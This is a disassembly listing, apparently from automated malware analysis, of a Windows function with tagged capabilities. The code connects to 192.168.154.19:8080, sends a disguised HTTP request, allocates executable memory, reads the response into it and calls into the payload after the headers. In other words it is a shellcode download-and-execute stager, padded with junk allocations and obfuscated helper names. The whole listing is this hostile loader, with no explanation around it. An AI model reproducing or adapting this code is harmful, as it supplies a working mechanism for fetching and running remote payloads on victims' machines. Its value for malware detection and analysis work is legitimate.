Function at 0x401ad3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0xf824
call fcn.00402cb0
sub esp, eax
call dbg.__main
mov dword [ebp - 0xc], 0
jmp 0x401b17
mov dword [esp], 0x26a4
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x8234], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x2085
jle 0x401afb
call sym._QughkrbRdB
call sym._MYUGVaASbSC
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x401b52
mov dword [esp], 0x26aa
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x90d0], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x3a6
jle 0x401b36
call sym._seYwsqOk
mov dword [esp + 8], eax
mov dword [esp + 4], str.GET___s_HTTP_1.1_r_nAccept_Encoding:_identity_r_nHost:_192.168.154.19:8080_r_nConnection:_close_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_6.1__Windows_NT_r_n_r_n
lea eax, [ebp - 0x9198]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x9198]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x9198]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov dword [esp], 0x12c
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0xf4240
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], 0
jmp 0x401c13
call sym._KOPuQNGQnPYM
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0x8234]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x2085
jle 0x401bf4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x10], eax
cmp dword [ebp - 0x1c], 0
jg 0x401c22
mov dword [ebp - 0xc], 0
jmp 0x401c7d
mov dword [esp], 0x26ea
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xf818], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x199f
jle 0x401c61
mov dword [ebp - 0xc], 0
jmp 0x401cae
call sym._anEqEXAFTOLE
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0x90d0]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x3a6
jle 0x401c8f
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WSOCK32.DLL_WSACleanup]
call eax
mov dword [esp + 4], str._r_n_r_n
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._strstr
add eax, 4
call eax
mov dword [ebp - 0xc], 0
jmp 0x401d0e
call sym._zkUvHmW
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xf818]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x199f
jle 0x401cef
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret